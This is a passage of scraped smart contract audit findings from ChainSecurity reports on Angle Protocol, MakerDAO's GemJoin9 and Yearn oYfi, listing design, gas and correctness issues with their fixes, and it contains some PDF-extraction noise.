Inefficiency in Binary Search", "body": " The binary search within the _piecewiseLinear function works as follows: Angle - Angle Protocol - 30 CorrectnessLowVersion2CodeCorrectedDesignLowVersion2CodeCorrectedDesignLowVersion2CodeCorrected \fuint256 lower; uint256 upper = xArray.length - 1; uint256 mid = (upper - lower) / 2; while (upper - lower > 1) { if (xArray[mid] <= x) { lower = mid; } else { upper = mid; } mid = lower + (upper - lower) / 2; } Here the following improvements can be made: 1. The initial value of mid is computed using the wrong formula as the computation should read upper + lower rather than upper - lower. However, it doesn't matter in the current code version as lower is always initialized to 0. Hence, it is unclear why lower is part of this computation. 2. The value of mid is needlessly computed once at the end of the loop. This could be refactored to save a computation of mid. The gas savings of these improvements are negligible, however, they might contribute to more maintainable code. The code is now more gas-efficient. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.23 No Slippage Protection in BondingCurve", "body": " The BondingCurve contract allows the purchase of governance tokens (most likely Angle tokens) in exchange for other tokens. However, the function buySoldToken does not protect users from growing prices. The user could experience an unexpectedly trade result if they have given a high or infinite approval to the BondingCurve contract. Users can now specify the maximum amount of AgTokens they are willing to pay for the specified amount of ANGLE tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.24 Reference Coin Changes May Affect the", "body": " Bonding Curve The BondingCurve contract contains a referenceCoin variable. This referenceCoin can be set to the zero-address by being revoked. This may affect the BondingCurve in several ways: getCurrentPrice() will return the price in the reference coin. However, there is no reference coin. Angle - Angle Protocol - 31 SecurityLowVersion2CodeCorrectedCorrectnessLowVersion2CodeCorrected \f buySoldToken() will take the oracle value based on the previous stablecoin. However, having the 0-address suggests that the reference price is currently to be determined. Similar issues may occur if the referenceCoin is set then to another token. Now, if the oracles are not updated, the price will differentiate highly from what governance would have expected. Also, the startPrice variable is in the currency of the reference token. Thus, it could be possible that the bonding curve changes if the start price stays the same when the reference currency changes. The contract will be paused to give the governance time to change the parameters. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.25 Specification Mismatch in Strategy", "body": " The documentation of rewardAmount specifies in Strategy.sol: /// @dev If this is null rewards will never be distributed In contrast, the documentation of setRewardAmount in Strategy.sol specifies: /// @dev A null reward amount corresponds to reward distribution being activated However, if the reward amount is null, then the rewards can be eventually distributed if the reward amount is changed. Moreover, the reward amount being null means that the reward distribution is deactivated. Specification changed: The specification has been changed to correctly specify the reward amount. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.26 StableMaster Might Be Unnecessarily", "body": " Paused When the signalLoss function registers a loss exceeding sanRate * sanMint it will pause the StableMaster contract. However, during this calculation it does not consider any lockedInterests that were queued to increase the sanRate. Hence, when factoring in the correct sanRate pausing might not be necessary. The code has been corrected. Angle - Angle Protocol - 32 CorrectnessLowVersion2Speci\ufb01cationChangedCorrectnessLowVersion2CodeCorrected \f7.27 Cache Value Instead of Reading From Storage In function update of the PerpetualManager, perpetual.fees is first updated and later read from storage in order be emitted in the event. Caching the value would result in lower gas used. Function _update has been removed from the PerpetualManagerInternal contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.28 Consistency Checks for Oracles Missing", "body": " ModuleChainlinkMulti checks whether circuitChainlink and circuitChainlinkIsMultiplied have the same length. In contrast, ModuleUniswapMulti does not check this property for Uniswap circuits. The check was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.29 Different Calculation of Cashout Fees", "body": " Should the coverage of a collateral exceed the limit, the fees for withdrawal differ depending on whether the perpetual is cashed out using forceCashOutPerpetual() or cashOutPerpetual(): In forceCashOutPerpetual() the withdrawal fee is computed with a margin of 0 (representing the status before the cashout of this perpetual). In cashOutPerpetual() the withdrawal fee is computed based on the new margin calculated after the perpetual has been cashed out. The structure of the two functions has been changed. Both initially cashout the perpetual and then compute the withdrawal fee. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.30 Double Getters", "body": " Angle - Angle Protocol - 33 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fIn Core.sol, governorList() can be accessed through the automatically generated governorList getter and through the manually implemented getGovernorList(). Having only one getter will reduce code size, gas consumption on deployment, and confusion. In OracleAbstract.sol, inBase has two getters: the automatically generated one and getInBase(). governorList was made internal and getInBase() was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.31 Enhance Check During Deployment of", "body": " Collateral deployCollateral() of the StableMaster contract checks that the passed arguments are non-zero address before the struct for the collateral is initialized. Some of these checks may be made more thorough with low effort: It may be checked whether the collateral token of the perpetual manager matches the collateral. Furthermore, it is possible to create a shared SanToken for multiple pool managers which may lead to unwanted behaviour. Also the number of decimals of the SanToken is not checked when a new collateral is deployed. Also the oracle is not checked for compatibility with the pool manager. Checks were added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.32 Events Missing", "body": " Even though many events are emitted by the protocol, not all important state changes emit events. For example, guardians are allowed to set a new fee manager with function setFeeManager() in StableMaster. As this sets a new address as a fee manager, emitting an event could help users notice this change. Another example is that not all ERC-721 events are emitted. For example, no events are emitted for approvals. ERC-721 event are now emitted. For setFeeManager(), an event was added to the StableMaster contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.33 Gas Inefficiencies When Removing From List", "body": " Angle - Angle Protocol - 34 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fCore keeps track of governors and stable masters with governorList and stablecoinList. StableMaster keeps track of all pool managers with managerList. PoolManager records all active strategies in strategyList. Each strategy registers lenders in lenders and RewardsDistributor keeps all staking contracts in stakingContractList. In all cases, elements from the arrays can be removed. Removing a list item is always done using the following scheme (code from removing a governor in Core). for (uint256 i = 0; i < governorList.length - 1; i++) { if (governorList[i] == _governor) { indexMet = 1; } if (indexMet == 1) { governorList[i] = governorList[i + 1]; } } require(indexMet == 1 || governorList[governorList.length - 1] == _governor, \"governor not in the list\"); governorList.pop(); Assume the element to be removed is the first in the array. That shifts all elements by one position creating many storage reads and writes. Since the order of the array is not system relevant, the item to be removed could be, if found, overwritten with the value of the last element in the array, and the last entry could then be popped. That would reduce the number of storage reads and writes significantly for large arrays and, hence, reduce gas consumption. Instead of moving all element, the value of the last entry is written to the position of the element to be removed. Then, the last entry is popped. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.34 Gas Inefficiencies When Searching Lists", "body": " When pushing a new StableMaster to stablecoinList in deployStableMaster() of Core.sol, it is checked if the item to push is already in the array. However, once found the loop continues and does not early quit. The overhead in storage reads could be avoided in a similar way as in function addGovernor(). Also, the search in _piecewiseLinear() could be optimized. Since xArray is sorted, a binary search may reduce the total number of operations if the array is large enough. Checking whether an element is pushable to an array is now implemented using a mapping to booleans, faciliating the search. For the piecewise linear interpolation, a binary search was implemented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.35 Governance Changes", "body": " The documentation specifies the following: The way a governance change occurs is that it is notified by governance (or by the guardian) to the Core which then propagates this change to all the StableMaster contracts of the protocol. Each StableMaster then notifies the AgToken contract it relates to as well as all the PoolManager. Angle - Angle Protocol - 35 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fChanges in governance should be propagated from Core to all other contracts. However, usage of access control functions inherited from OpenZeppelin's contracts may lead to inconsistencies. For example following scenarios could occur: In function removeGovernor in Core.sol, the call reverts if there is only one governor. However, it is still possible to remove the last governor by calling one of the inherited methods renounceRole or revokeRole. Ultimately, the check in removeGovernor() can easily be circumvented. A governor may change the Core role using grantRole() and revokeRole() for a StableMaster. This may lead to inconsistencies with the core state variable in StableMasterStorage.sol. Moreover, removing or adding a guardian or governor would always revert in such a scenario (if the change is not manually undone). Also, multiple core contracts could be allowed in StableMaster. A governor could grant or revoke a governor or guardian role to someone in Core. These changes are not propagated and may lead to inconsistencies in governance between the different contracts. The core does not inherit any access control functionality anymore. The access control for Core was customly implemented. Thus, the issues cannot occur anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.36 Inconsistencies Between Staking Contract", "body": " There are two types of staking contracts. The StakingRewards and the perpetual managers. They have similar functionality and their staking mechanism should be similar. However, inconsistencies in their implementations can be found. Some of the inconsistencies are: Difference in setNewRewardsDistributor(): The perpetual manager checks whether a new reward distributor contract has the same reward token as itself. StakingRewards does not do that. Difference in emitting events: In the above function the two contracts emit different events. Recovered event is not emitted in recoverERC20() in PerpetualManager but in StakingRewards. The same events are now emitted and the RewardsDistributor, the only contract allowed to call the staking contracts' setNewRewardsDistributor(), checks whether the new rewards distributor has the same reward token as itself. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.37 Inconsistent Parameters in", "body": " RewardsDistributor Possible In contract RewardsDistributor consistency checks are missing and some parameters could contradict each other. Examples are: Angle - Angle Protocol - 36 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f No check StakingParameters.updateFrequency StakingParameters.duration in function setUpdateFrequency. that is smaller than No check that StakingParameters.updateFrequency is smaller than StakingParameters.duration in function setDuration. Checks were added in the mentioned functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.38 Incorrect Comment", "body": " In PerpetualManagerFront.forceCashOutPerpetual() there is a check whether a perpetual can forcefully be cashed out due to the maximal collateralization amount has been exceeded: // Now checking if too much collateral is not covered by HAs (uint256 currentCAmount, uint256 maxCAmount) = _testMaxCAmount(0, rateUp); // If too much collateral is covered then the perpetual can be cashed out canBeCashedOut = currentCAmount > maxCAmount ? 1 : 0; The \"not\" in the first comment is incorrect. The code is checking if too much collateral is currently covered by HAs. Specification changed: The comment has been corrected to suit the modified force cashout functionality. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.39 Inefficient Structs", "body": " There are multiple structs with multiple uint256 fields. Each of these fields uses a full storage slot of 32 bytes. Storing data in Ethereum is expensive. A significant amount of gas is used when reading from or writing to storage. For example struct SLPData stores eight uint256. Given the nature of the data stored in SLPData all of these variables would not need to be of type uint256. Using smaller datatypes would allow to group multiple of the variables into one storage slots. If done appropriately, this would reduce the total amount of storage reads/writes resulting in lower gas costs. The same applies for other structs which could be optimized similarly. Smaller datatypes have been chosen for some parameters and, hence, gas consumption has been reduced. Angle - Angle Protocol - 37 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f7.40 No Check if onERC721Received Is Implemented Perpetuals are treated as NFTs and are implemented as ERC-721 tokens. Much code is adapted from OpenZeppelin's ERC-721 implementation. In createPerpetual() of PerpetualManagerFront.sol, _mint() is is used to mint tokens. The documentation of _mint() specifies that using this method is unsafe and _safeMint() should be used. However, the _safeMint() method was removed when code from OpenZeppeling was adapted. The intention behind this function is to check if the address receiving the NFT, if it is a contract, implements onERC721Received(). Thus, there is no check whether the receiving address supports ERC-721 tokens and perpetuals could be not transferrable in some cases. mint() checks if a receiving contract implements onERC721Received(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.41 No Checks Performed in Constructor", "body": " Contrary to the constructor of ModuleChainlinkMulti, the constructor of ModuleUniswapMulti does not perform sanity checks on the length of _circuitUniswap and _circuitUniIsMultiplied. The check was added to the constructor of ModuleChainlinkMulti. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.42 Outdated Compiler Version", "body": " The project uses an outdated version of the Solidity compiler. pragma solidity 0.8.2; Known bugs in version 0.8.2 are: https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1530 More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.8.6 which contains some bugfixes but no breaking changes. In the meantime, the compiler version has been updated to 0.8.7 which was also set in the hardhat configuration file. Angle - Angle Protocol - 38 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7.43 Overhead Due to Loading Struct Into Memory loaded Inside the else branch in function removeFromPerpetual the whole perpetual struct of this perpetual that only perpetual.creationBlock and is perpetual.committedAmount are read later on, loading the whole struct into memory is an unnecessary overhead. into memory. Given from storage The code of removeFromPerpetual has changed significantly, loading from storage into memory is now more efficient. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.44 Possibly Failing Assert", "body": " In UniswapUtils.sol in function _readUniswapPool() an assert statement checks if the cast of twapPeriod from uint32 to int32 overflowed. However, this may fail and, thus, consume all remaining gas. The usage of require, in contrast, would refund the remaining gas to the user. Actually, the value is checked in the constructor and could be checked in function changeTwapPeriod, removing the need for checking it in every execution of _readUniswapPool(). The check is now in the constructor and the setter. Moreover, the assert has been replaced with a require statement. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.45 Potential Confusing ", "body": " readLower(uint256 lower) Function readLower defined in OracleAbstract returns the lower rate if parameter lower is equal to 1 or else the higher rate returned by _readAll(). The function name increases the risk that the function is used incorrectly in the future. It could be considered to split this functionality in two functions with distinct names. readLower() always returns the lower rate. rateUpper() was introduced to get the upper rate and avoid confusion. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.46 Reward Token Issues", "body": " Angle - Angle Protocol - 39 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe documentation specifies that governance could decide to choose a reward token different from ANGLE. Thus, RewardDistributor must be generic in terms of tokens. However, some inconsistencies can be found. event ANGLEWithdrawn is emitted in function governorWithdrawRewardToken. The event name is inconsistent with the possible use cases. In _incentivize(), the error message in the require statement specifies that an ANGLE transfer failed. That does not have to be the case since it could be the COMP token. Function _incentivize uses transfer(). Non ERC-20 compliant tokens may fail, e.g. USDT is unsupported as a reward token. Generally when interacting with unknown ERC-20 tokens the safeXYZ functions may be used. These wrappers allow a safe interaction with non-compliant ERC-20 tokens. Furthermore, since rewardToken cannot be modified, it can be made immutable. The code, comments and the naming was generalized to fit the general purpose of this class as specified in the documentation. Furthermore, safeXYZ functions are used to support a broader ranger of reward tokens. Also, rewardToken is now immutable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.47 Specification Mismatch in OracleMath", "body": " The OracleMath contract implements functionality for retrieving UniSwap rates. The documentation specifies the following: /// @return rate uint256 representing the ratio of the two assets `(token1/token0) * decimals(token1)` However, this is not correct. The specification should specify that the rate is multiplied with base 10**decimals instead of the number of decimals. Specification changed: The specification was changed to document the correct base. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.48 Unnecessary Double Checks", "body": " The Angle Protocol uses the access control library of OpenZeppelin to restrict access to some functions. However, some functions have double checks whether a caller can execute a certain function. This occurs when rights are granted or revoked. For example, in StableMaster.sol in deploy(), the core sets the governors and guardian. First, the onlyRole modifier of deploy() checks whether the caller has the appropriate role or not. Then, for each governor grantRole() is called from the access control library. grantRole() calls the onlyRole modifier. Thus, many redundant checks are executed due to the modifier of deploy() and the repetitive calls to onlyRole modifier in the grantRole() function. Similar inefficiencies occur in other contracts and function with grantRole() and revokeRole(). Angle - Angle Protocol - 40 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f OpenZeppelin's access control libraries have been forked and modified such that _grantRole() and _revokeRole() are now internal. Now, these, instead of the public methods, are used to avoid double checks. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.49 Updated SanRate When Converting to SLP", "body": " Function convertToSLP of the StableMaster contains following commented out code: // we could potentially add // _updateSanRate(0, col); This function is used during the cash out of perpetuals should there be an insufficient amount of collateral available. It converts an amount of collateral into santokens, hence should be treated equally as depositing this amount of collateral. The san rate should be updated indeed, this distributes accrued interests which have been collected before the collateral of this HA is converted into san tokens. Note that contrary to the deposit() function, there is no check whether the stablemaster is paused. The line was uncommented. Now, the sanrate is updated and it is checked if the contract is paused. Thus, the behaviour is consistent with deposit(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.50 Wrong Incentive for Which Perpetuals to", "body": " Forcefully Cash Out Whenever the covered amount of collateral exceeds the maximum allowed amount, keepers can freely choose which perpetuals to liquidate. The incentive for how the perpetuals to be liquidated are chosen may not be ideal. Although the maximum fee for the keeper can be capped (depending on the parameter set by the governance), in general the reward for the keeper depends on the fee the perpetual has paid. Although fees are variable, generally larger perpetuals have paid more in fees and hence may be more attractive for keepers to forcefully cash out. Using functions addToPerpetual() or removeFromPerpetual() increases the fees paid by the perpetual and hence increases the risk of the perpetual to be selected by keepers. For the system however, it would be more beneficial if keepers choose to liquidate perpetuals which bring the covered amount just short of the limit for the maximum amount to be covered. E.g. the coverage limit may be 90%, however currently 91% is covered. Multiple perpetuals exist, one of them may cover 2% while another covers 20%. In case a keeper cashes out the perpetual that covered 20%, the system now only has roughly 70% of its collateral covered, significantly below the targeted 90%. If the keeper however had chosen to cashout the smaller perpetual, the resulting new covered amount would have been just short of the target. Angle - Angle Protocol - 41 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedAcknowledged \f The system introduced changes on how fees are computed. Keepers are now earning more fees if they cashout/liquidate perpetuals so that the covered amount is close to the target amount. Acknowledged: Since now multiple perpetuals can be liquidated at the same time, cashing out multiple perpetuals will cost more gas than one big one. Angle acknowledged that a commented: In a future protocol upgrade, we could weight the amount of fees going to keepers by using another piecewise linear function that depends on the number of perpetuals cashed out: this would kill the incentive to only cash out in priority the biggest perpetuals. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "7.51 capOnStablecoin May Be Violated by", "body": " Guardians capOnStableCoin is documented as follows: /// @notice Maximum amount of stablecoin in circulation Assume that currently 1000 AgUSD are minted. Then a guardian may call setCapOnStablecoin and set capOnStablecoin invariant AgUSD.totalSupply() <= capOnStablecoin could be violated in such a scenario. though no new stablecoins can minted to 500. Even the capOnStablecoin was removed. However, there is now a cap on the issueable stablecoins per collateral for which it is checked that it is always higher than or equal to stocksUser. Angle - Angle Protocol - 42 DesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.1 Frontrunning Keepers", "body": " Keepers are responsible to keep the system in balance. As an incentive they collect part of the fees. However, another party could see the transactions coming from the keepers and front run them without much computational effort. The incentive for keepers may be lost. Note that Angle is aware of this and it's documented in the code above the respective keeper functions: As keepers may directly profit from this function, there may be front-running problems with miners bots, /// we may have to put an access control logic for this function to only allow white-listed addresses to act /// as keepers for the protocol ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.2 New BASEFEE Opcode", "body": " The recent hardfork introduced EIP-1559 and EIP-1398. While the first EIP introduces a new fee system for transaction, the later introduces a new opcode BASEFEE allowing to query the new basefee parameter of the transaction. Roughly speaking the previous gasprice now consist of the basefee + a tip. Overall transaction prices are now much more predictable. Appropriate Keeper rewards should cover their transaction costs and an additional incentive. While previously the GASPRICE opcode could not really be used as this opened possibilities for abuse for miners, the new BASEFEE opcode is now much more suitable. It may be considered to use it as base for the keeper reward calculation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.3 Oracle-related Issues", "body": " The system uses two different oracles: Chainlink and Uniswap. In principle these oracles provide reliable data sources, however, it is not impossible to manipulate them. For Uniswap the cost of manipulation depends on the liquidity and the activity within the affected pools. As volumes increase within the system the following oracle-based attacks become possible. We split them between attacks that require manipulation of one oracle and attacks that require manipulation of both oracles. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.3.1 Single-Oracle Manipulation", "body": " Whenever there is a big mint or burn operation of agTokens, existing system participants have an incentive to attack this mint or burn with a manipulated oracle. As a result the system will accumulate a surplus. The value of the attack is limited by the value of the mint or burn. Angle - Angle Protocol - 43 NoteVersion1NoteVersion1NoteVersion1 \f When there an innocent user cashes out a perpetual, existing system participants have an incentive to manipulate an oracle in order to increase the system surplus. The value of the attack is limited by the value of the perpetual position. A malicious user could perform an oracle attack to liquidate a large percentage of the perpetual positions to collect the keeper fees. The value of the attack is limited by the combined keepers fees of the perpetual positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.3.2 Multi-Oracle Manipulation", "body": " A malicious user can extract large amounts of collateral by manipulating both oracles before performing an agToken burn operation. The value of the attack is limited by the total collateral deposited of this type. A malicious user can extract large amounts of collateral by manipulating both oracles before performing a cashout of a perpetual position. The value of the attack is limited by the total collateral deposited of this type. As seen from the list, some of these attacks increase in impact as the system accumulates more liquidity. Hence, the risk of such attacks grows with the rise of the system and hence needs to be monitored. Please note that some of the mentioned attacks against other users can be evaded through slippage protections as mentioned in the separate issue above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.4 Perpetual NFTs May Not Be Composable With", "body": " Other Protocols Perpetual positions are represented as NFTs. That allows them to be transferrable. Thus, users may want to sell the NFTs on secondary marketplaces. However, the design of the NFTs is not composable with other protocols. 1. A perpetual is opened and an NFT for it is issued. 2. The user wants to sell the NFT on a marketplace. The NFT is deposited on a marketplace contract. 3. The perpetual is force-closed by a keeper. The NFT is burned. The marketplace, as the current owner, receives the underlying funds while the NFT gets burned. However, the marketplace is unaware of the NFT being burned and the funds being received. Thus, the underlying funds could be lost. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.5 SLPs Timing Their Entry", "body": " Although the san rate is updated before a new standard liquidity provider enters the system, a new SLP may still profit from interest accrued previously: Due to the maximum update of the san rate in one block there may be some locked interest which are to be distributed in the next / over the next block. An outsider may observe the performance of the strategies and may forsee that a call to Strategy.harvest() will be profitable. Angle - Angle Protocol - 44 NoteVersion1NoteVersion1 \fIn both scenarios an SLP entering at the right time may benefit from interests accrued before his participations at the cost of other participants. To mitigate both, Strategy.harvest() should be called frequently in order to distribute the rewards accrued smoothly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.6 Setting Variables May Lead to Inconsistent", "body": " State When setting a new core from the old core, it is ensured that the governors and the guardian of both However, cores deployedStableMasterMap is not checked. That should be ensured in the constructor of the new core contract. Otherwise, stable masters could be redeployed. stablecoinList Similarly, checked. same. are the the is Moreover, a guardian can set a new fee manager through the stable master contract. However, it is never checked whether this fee manager has the same governance structure. The governance structure must be setup in the constructor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.7 Special ERC-20 Token Behavior May Be", "body": " Problematic Tokens with fees or rebasing tokens may be errorneous if added as collateral. Some ERC-20 tokens have transfer fees. Supporting such tokens as collateral for a stablecoin may lead to accounting errors. When a user mints some AgToken in exchange for collateral, he specifies how many collateral tokens should be transferred from him to the pool manager. This amount is used to update stocksUsers. However, the amount received by the pool manager may differ from the amount specified by the user due to transfer fees. Not only would accounting issues occur but also too many AgTokens would be minted. The amount of AgTokens the user would receive depends on the amount he sent but not on the amount the pool manager received. To conclude, the current system will not work as intended if tokens have fees. Similarly this applies for rebalancing tokens where the balance of token holders changes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.8 System Accounting", "body": " Certain system states are not tracked by the smart contracts and need to be tracked by interested users and the operators separately in order to properly react. 1. Bad debt and system surplus are not obviously visible in the system but can be computed by retracing all the relevant system actions or by through a computation based on system variables and token balances. 2. The amount of stablecoins minted against a particular collateral (which is newly saved stocksUsers) can, for different reasons, become out-of-sync with the actual backing collateral. The operators need to step in by adjusting parameters accordingly. 3. Certain stablecoin-collateral imbalances can be rebalanced using the system function, however, this only works if there is a roughly matching positive and negative imbalance. Angle - Angle Protocol - 45 NoteVersion1NoteVersion1NoteVersion2 \f4. Certain payments, such as the fees paid by hedging agents are not being accounted but generally support the system's health. Users hence need to query token balances to evaluate collateral value. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.9 The Devil Takes the Hindmost", "body": " Contrary to other similar systems, the loss of the system is not evenly distributed across all participants. For example, such loss may stem from uncovered collateral and a decreasing price, or keepers not liquidating perpetuals timely. In such situations, the system continues to operate normally as long as there are sufficient funds available. The first actors redeeming / withdrawing their assets get everything at market prices while slow users are left behind as they can no longer burn their stable tokens, redeem their san tokens or cash out their perpetuals due to insufficient funds. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.10 Transferable Perpetuals and Reward", "body": " Perpetual positions are NFT tokens adhering to the ERC-721 standard, hence perpetuals are transferable. Note that Perpetuals are eligible to earn a reward. While such a reward is associated with the NFT, holders of the perpetual should be aware that it's to their advantage to claim their reward before transferring the perpetual. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "8.11 Unbounded Decrease of sanRate", "body": " The sanRate which is the conversion rate of SanTokens cannot increase arbitrarily to limit economic attacks. However, it can decrease arbitrarily when a strategy reports losses. Such a change is harder to exploit by an economic attacker, however, it is still possible if there exists a platform when SanTokens can be borrowed. Through such a borrow operation the sanRate drop can be exploited. Angle - Angle Protocol - 46 NoteVersion1NoteVersion1NoteVersion2 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol/"}, {"title": "6.1 Tokens With More Than 18 Decimals Not", "body": " Caught in Constructor The constructor querries and stores the tokens decimals: dec = gem.decimals(); Recent JOIN adapters, e.g. GemJoin7 have an explicit require statement preventing tokens with decimals > 18 to initialized. This is done as additional safety measure as some integrations, e.g. proxy actions are incompatible with / break for token with > 18 decimals. No such check is present in GemJoin9. Similar to other recent GemJoin adapters, the code in the constructor of GemJoin9 now ensures the token decimals do not exceed 18. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-gemjoin9-for-paxg/"}, {"title": "6.2 PAXG Token Used for Tests Does Not Match", "body": " Actual PAXG Contract The PAXG token contract added to the repository and used for tests does not match the actual PAXG contract implementation. Testing hence is done with a different token implementation than the intended token the join adapter interacts with in production which is not ideal and might hide bugs. Forked mainnet tests have been added in the gemjoins integration tests. This ensures the code is tested with the actual PAXG token on chain. MakerDAO - GemJoin9 for PAXG - 10 CriticalHighMediumLowCodeCorrectedDesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-gemjoin9-for-paxg/"}, {"title": "7.1 PAXG Token Is Upgradable", "body": " The PAXG Token is upgradable and an upgrade could break the integration with gemjoin9. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-gemjoin9-for-paxg/"}, {"title": "7.2 wad Amount in Join Event", "body": " Function function join(address usr, uint256 wad) will from msg.sender. However, fees are going to be deducted. Hence, the actually joined amount will be the amount that arrived at the join adapter. Since the return value of the internal function _join is ignored and, hence, the event is emitted using the wad parameter, the emission will be incorrect. Also, any excess tokens will be ignored for the emitted join amount. transfer wad tokens MakerDAO responded that this behavior is in line with the other gemJoins (e.g. join-3 or join-7). It's always the input amount that is logged. MakerDAO - GemJoin9 for PAXG - 11 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-gemjoin9-for-paxg/"}, {"title": "6.1 Missing Sanity Check of Chainlink Oracle", "body": " Price Options smart contract calculates the required ETH price by querying a YFi/ETH ChainLink oracle and the curve oracle. Apart from the price of the YFi tokens, the oracle returns information about the point in time when its price was updated. However, this information is ignored by the current implementation. The stale prices might be used for estimations. A check that the update time of the price oracle complies with the ChainLink heartbeat parameter for the YFI/ETH pool (24 hours or 86400 seconds) was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-oyfi/"}, {"title": "6.2 Not Initialized Variables", "body": " On multiple occasions, some state variables are used which are never set and there are no functions that can update them. In particular: In Options.exercise, ETH is sent to self.payee. However, this variable is never set. Hence, ETH will be sent to 0x0 address. In Gauge._getReward, the recipients mapping is read. However, this mapping is never written, thus the recipient[account] will always be 0x0. This means, that no other recipient than the owner of the Gauge tokens can receive the rewards. Yearn - oYfi - 11 